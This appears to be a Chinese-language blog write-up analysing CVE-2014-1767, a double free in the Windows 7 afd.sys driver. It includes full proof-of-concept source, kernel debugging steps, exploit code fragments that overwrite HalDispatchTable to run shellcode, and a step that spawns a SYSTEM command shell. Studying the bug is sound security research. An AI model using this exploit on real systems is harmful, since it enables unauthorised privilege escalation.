CVE-2014-1767

0x00:前言

这次分析一个内核漏洞,信息量有点大,有不对的地方欢迎指正,介绍一下这个漏洞吧,2014年“最佳提权漏洞奖”得主,影响力还是很大的,实验环境的一些文件我放到GitHub上了,需要的自行下载:https://github.com/ThunderJie/CVE/tree/master/CVE-2014-1767

0x01:实验环境

  • Windows 7 x86(虚拟机)
  • Windbg 10.0.17134.1 + virtualKD(双机调试)
  • Visual C++ 6.0(编译器)
  • IDA Pro(反汇编)
  • poc.exe
  • exp.exe

a.双机调试的环境如下:在这里插入图片描述

b.poc的生成(VC6.0下编译)

#include<windows.h>
#include<stdio.h>
#pragma comment(lib,"WS2_32.lib")

int main()
{
   DWORD targetSize=0x310;
   DWORD virtualAddress=0x13371337;
   DWORD mdlSize=(0x4000*(targetSize-0x30)/8)-0xFFF0-(virtualAddress& 0xFFF);
   static DWORD inbuf1[100];
   memset(inbuf1,0,sizeof(inbuf1));
   inbuf1[6]=virtualAddress;
   inbuf1[7]=mdlSize;
   inbuf1[10]=1;
   static DWORD inbuf2[100];
   memset(inbuf2,0,sizeof(inbuf2));
   inbuf2[0]=1;
   inbuf2[1]=0x0AAAAAAA;
   WSADATA WSAData;
   SOCKET s;
   sockaddr_in sa;
   int ierr;
   WSAStartup(0x2,&WSAData);
   s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
   memset(&sa,0,sizeof(sa));
   sa.sin_port=htons(135);
   sa.sin_addr.S_un.S_addr=inet_addr("127.0.0.1");
   sa.sin_family=AF_INET;
   ierr=connect(s,(const struct sockaddr *)&sa,sizeof(sa));
   static char outBuf[100];
   DWORD bytesRet;
   DeviceIoControl((HANDLE)s,0X1207F,(LPVOID)inbuf1,0x30,outBuf,0,&bytesRet,NULL);
   DeviceIoControl((HANDLE)s,0X120C3,(LPVOID)inbuf2,0x18,outBuf,0,&bytesRet,NULL);
   return 0;
}

0x02:漏洞原理

该漏洞是由于Windows的afd.sys驱动在对系统内存的管理操作中,存在着悬垂指针的问题。在特定情况下攻击者可以通过该悬垂指针造成内存的double free漏洞。

知识点

Double free,内核相关知识等等

0x03:漏洞分析

1.初步分析

调试运行poc得到以下报错,崩溃原因是重复释放了一块已经被释放了的内存:
在这里插入图片描述
调用堆栈信息:
在这里插入图片描述
我们可以得到如下函数的调用关系:

afd!AfdTransmitPackets->afd!AfdTliGetTpInfo->afd!AfdReturnTpInfo->nt!IoFreeMdl->nt!ExFreePoolWithTag->nt!KeBugCheck2

可以看到,出问题的是afd模块,我们查看afd模块详细信息:
在这里插入图片描述
得到以上分析后,我们需要搞清楚poc做了什么事情,首先初始化本地socket连接,然后发送了两次数据,poc一共调用了两次DeviceIoControl函数,向控制码0x1207F和0x120C3发送了数据,我们直接从这两次IO控制码分发函数入手。

2. 第一次调用分析(0x1207F)

我们首先针对nt!NtDeviceIoControlFile设置条件断点,当其在处理0x1207F时断下,根据官方文档,该函数的第六个参数是IO控制码,也就是esp+18,因此条件断点为:

bp nt!NtDeviceIoControlFile “.if (poi(esp+18) = 0x1207F){}.else{gc;}”

在这里插入图片描述

1)AfdTransmitFile 函数分析

断下来之后查看堆栈情况和调用情况:
在这里插入图片描述

可以使用wt命令跟踪后续函数调用过程,可以发现,当 IoControlCode=0x1207F 时,afd 驱动会调用 afd!AfdTransmitFile 函数,我们直接对这个函数进行分析,这里我们直接用IDA反编译Afd中的AfdTransmitFile函数,因为该函数有两个参数(pIRP和pIoStackLocation),我们将反编译的a1,a2改名为该参数,通过 IoStackLocation 我们就可以访问用户传递的数据了:
在这里插入图片描述
通过分析,我们想要调用AfdTliGetTpInfo函数,必须满足这三个条件:

(v54 & 0xFFFFFFC8) ==0
(v54 & 0x30) != 0x30
(v54 & 0x30) != 0

2)AfdTliGetTpInfo 函数分析

满足上面条件之后,程序会调用AfdTliGetTpInfo函数,TpInfoElementCount是这个函数的参数,该函数的返回值是一个指向TpInfo结构体的指针,根据对AfdTransmitFile剩余函数部分的分析,该结构体大致如下:

struct TpInfo 
{ 
	......
	TpInfoElement *pTpInfoElement ; // +0x20, TpInfoElement数组指针 
	......
	ULONG TpInfoElementCount;       // +0x28, TpInfoElement数组元素个数
	......
	ULONG AfdTransmitIoLength;      // +0x38, 传输的默认IO长度 
	......
}

struct TpInfoElement { 
	int status; 		    // +0x00, 状态码
	ULONG length ; 			// +0x04, 长度 
	PVOID VirtualAddress ; 	// +0x08, 虚拟地址 
	PVOID *pMdl ; 			// +0x0C, 指向MDL内存描述符表的指针 
	ULONG Reserved1 ; 		// +0x10, 未知
	ULONG Reserved2 ; 		// +0x14, 未知
} ;

用IDA反编译AfdTliGetTpInfo函数可以发现:
在这里插入图片描述
以上就是函数 AfdTliGetTpInfo, 函数会根据参数从一个 Lookaside List 中申请 TpInfo 结构体,函数中调用的ExAllocateFromNPagedLookasideList函数含义大致如下:

TpInfo* __stdcall ExAllocateFromNPagedLookasideList(PNPAGED_LOOKASIDE_LIST Lookaside) 
{ 
	*(Lookaside+0x0C) ++ ; 
	tpInfo = InterlockedPopEntrySList( Lookaside ) 
	if( tpInfo == NULL) 
	{ 
		*(Lookaside+0x10)++; 
		tpInfo = AfdAllocateTpInfo(NonPagedPool,0x108 ,0xc6646641) ;
	} 
	return tpInfo 
}

AfdInitializeTpInfo 是一个初始化数据 tpInfo 的函数,我们直接分析赋值部分:

AfdInitializeTpInfo(tpInfo, elemCount, stacksize, x)
{
	……
	tpInfo->pElemArray = tpInfo+0x90 
	tpInfo->elemCount = 0 
	tpInfo->isOuterMem = false
	……
}

根据上面的几个函数调用关系,我们可以大致分析的出来函数的调用顺序,经过以下调用,我们可以得到一个tpInfo结构体:

ExAllocateFromNPagedLookasideList->AfdAllocateTpInfo->AfdInitializeTpInfo

现在我们拿到结构体之后继续分析AfdTransmitFile函数剩余的一些部分:
在这里插入图片描述
MmProbeAndLockPages函数锁定的无效地址是Poc中设置的值,因此触发异常,调用AfdReturnTpInfo函数:
在这里插入图片描述
在AfdReturnTpInfo函数中,由于在释放MDL资源后,未对TpInfoElement+0xC指针清空,导致后面再次调用时将被IoFreeMdl函数用于释放内存,导致双重释放漏洞。
在这里插入图片描述

3. 第二次调用分析(0x120C3)

第二次追踪控制码,程序会调用afd!AfdTransmitPackets函数,我们继续下条件断点:

bp nt!NtDeviceIoControlFile “.if (poi(esp+18) = 0x120C3){}.else{gc;}”

在这里插入图片描述

afd!AfdTransmitPackets函数仍然有两个参数pIRP和pIoStackLocation,我们用IDA反编译查看分析,需要满足以下三个条件实现AfdTdiGetTpInfo函数:
在这里插入图片描述
Poc中设置inbuf2为0xAAAAAAA个TpInfoElement,一共占0x18*0xAAAAAAA = 0xFFFFFFF0,显然申请如此大内存会触发异常调用AfdReturnTpInfo函数
在这里插入图片描述

继续运行,该函数再次调用时会触发漏洞,导致系统蓝屏
在这里插入图片描述

0x04:漏洞利用

1.思路

思路是不可能有思路的,这里当然是选择参考分析大佬的思路:
[1]. 调用 DeviceIoControl, IoControlCode = 0x1207F, 造成一次 MDL free
[2]. 创建某个对象,使得这个对象恰好占据刚才被 free 掉的空间,至此转化 double-free 为 use-after-free 问题
[3]. 调用 DeviceIoControl, IoControlCode =0x120c3,走入重复释放流程,释放掉刚才新申请的对象
[4]. 覆盖被释放掉的对象为可控数据(伪造对象)
[5]. 尝试调用能够操作此对象的函数,让函数通过操作我们刚刚覆盖的可控数据,实现一个内核内存写操作,这个写操作最理想的就是“任意地址写任意内容”,这样我们就可以覆写 HalDispatchTable 的某个单元为我们 ShellCode 的地址,这样就可以劫持一个内核函数调用
[6]. 用户层触发刚刚被 Hook 的 HalDispatchTable 函数,使得内核执行 shellcode,达到提权的效果
简而言之,就是把double free玩成了UAF,实现一个内存的写,然后hook掉该函数

2.对象的选择

由于对象的大小要等于第一次free的大小,并且这个对象应该有这样一个操作函数,这个函数能够操作我们的恶意数据,使得我们间接实现任意地址写任意内容。第一次释放的大小通过逆向 IoAllocateMdl可以看出,MDL 对象的大小是由 virtualAddress 和 length 共同决定的,具体大小是:

pages = ((Length & 0xFFF) + (VirtualAddress & 0xFFF) + 0xFFF)>>12 + (length>>12) 
freedSize = mdlSize = pages*sizeof(PVOID) + 0x1C

对于操作函数Siberas团队使用的是WorkerFactory函数,位置是反编译下图的exe,IDA中的函数是sub_468875
在这里插入图片描述

我们找到关键的地方分析:
在这里插入图片描述
可以看到,当参数满足一定条件(arg2 == 8 && *arg3 !=0)时,我们可以达到一个任意地址写任意数据的目的:

*(_DWORD *)(*(_DWORD *)(*(_DWORD *)Object + 0x10) + 0x1C) = v12;

我们可以设置 :

arg3 = ShellCode 
*(*object+0x10)+0x1C =(HalDispatchTable+0x4)=HaliQuerySystemInformation

这样就可以将shellcode地址写入HaliQuerySystemInformation,供后续shellcode执行。
我们分析知道被释放的 MDL 属于 NonPagedPool,而用户空间的 VirtualAlloc 并没有能 力为我们在 NonPagedPool 上分配空间从而让我们覆盖我们的数据!这就又要采取类似使用 NtSetInformationWorkerFactory 的方法,找那样一个 Nt*系列函数,它的内部操作 能够为我们完成一次 ExAllocatePool 并且是 NonPagedPool,并且还有能复制我们的数 据到它新申请的这个内存中去,说白了就是完成一次内核 Alloc 并且 memcpy 的操作,借助那篇 pdf 的思路,就是NtQueryEaFile 函数,下面是函数原型和关键的参数:
在这里插入图片描述
我们还是用IDA反编译看一下内容:
在这里插入图片描述

在这里插入图片描述
就是说内部会调用 :

p = ExAllocatePoolWithQuotaTag(NonPagedPool, EaLength, 0x20206F49) 
memcpy(p, EaList)

其中 EaLength 与 EaList 都是输入参数,用户可控。当ExAllocatePoolWithQuotaTag再次调用ExAllocatePoolWithTag,其长度值会再加上4,即实际上ExAllocatePoolWithQuoTag分配的长度是EaLength+4,在对释放对象内存进行占用时,应该将对象大小objectsize – 4,才能成功占用。

3. 确定WorkerFactory对象的大小

WorkerFactory占用空间的大小我们跟踪这条链:

NtCreateWorkerFactory->ObpCreateObject->ObpAllocateObject-> ExAllocatePoolWithTag

我们发现申请的内存大小是0xA0字节

4.exp的编写

这里借助会飞的猫大佬的exp,在VS2015,release版本下编译,提权成功,大佬的思路也非常清晰:
1)首先第一次释放前通过WorkerFactory对象的大小反推inbuf1的Length参数,并设置好inbuf2的值

DWORD targetSize = 0xA0;
	DWORD virtualAddress = 0x13371337;
	DWORD Length = ((targetSize - 0x1C) / 4 - (virtualAddress % 4 ? 1 : 0)) * 0x1000;


	static DWORD inbuf1[100];
	memset(inbuf1, 0, sizeof(inbuf1));
	inbuf1[6] = virtualAddress;
	inbuf1[7] = Length;


	static DWORD inbuf2[100];
	memset(inbuf2, 0, sizeof(inbuf2));
	inbuf2[0] = 1;
	inbuf2[1] = 0x0AAAAAAA;

2)创建一个Workerfactory对象

//Create a Workerfactory object to occupy the free Mdl pool
HANDLE hCompletionPort = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 1337, 4);
DWORD Exploit;
status = NtCreateWorkerFactory(&hWorkerFactory, GENERIC_ALL, NULL, hCompletionPort, (HANDLE)-1, &Exploit, NULL, 0, 0, 0);
if (!NT_SUCCESS(status))
{
	printf("NtCreateWorkerFactory fail!Error:%d\n", GetLastError());
	return -1;
}

3)第一次释放

DeviceIoControl((HANDLE)s, 0x1207F, (LPVOID)inbuf1, 0x30, outBuf, 0, &bytesRet, NULL);

4)第二次释放

DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0x18, outBuf, 0, &bytesRet, NULL);

5)伪造对象并拷贝shellcode执行

int MyNtSetInformationWorkerFactory()
{
	DWORD* tem = (DWORD*)malloc(0x20);
	memset(tem, 'A', 0x20);
	tem[0] = (DWORD)shellcode;

	NTSTATUS status = NtSetInformationWorkerFactory(hWorkerFactory, 0x8, tem, 0x4);
	return 0;
}

6)用户模式触发,系统权限调用cmd

//Trigger from user mode
	ULONG temp = 0;
	status = NtQueryIntervalProfile(2, &temp);
	if (!NT_SUCCESS(status))
	{
		printf("NtQueryIntervalProfile fail!Error:%d\n", GetLastError());
		return -1;
	}
	printf("done!\n");
	//Sleep(000);
	//Create a new cmd process with current token
	printf("Creating a new cmd...\n");
	CreatNewCmd();

5.利用成功

在这里插入图片描述

0x05:补丁分析

在win10下,调用IoFreeMdl函数之前会对TpInfoElementCount的值进行一系列的判断从而避免该漏洞的产生
在这里插入图片描述

0x06:总结

这个漏洞分析起来很麻烦,涉及的东西也很多,要有耐心才能分析的出来,从漏洞利用的思路,别人的exp编写来看,大牛确实厉害,自己的路还很长,希望自己有一天也能写出这样的exp来 。
参考资料:
https://www.jianshu.com/p/6b01cfa41f0c
https://www.cnblogs.com/flycat-2016/p/5450275.html
https://bbs.pediy.com/thread-194457.htm

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值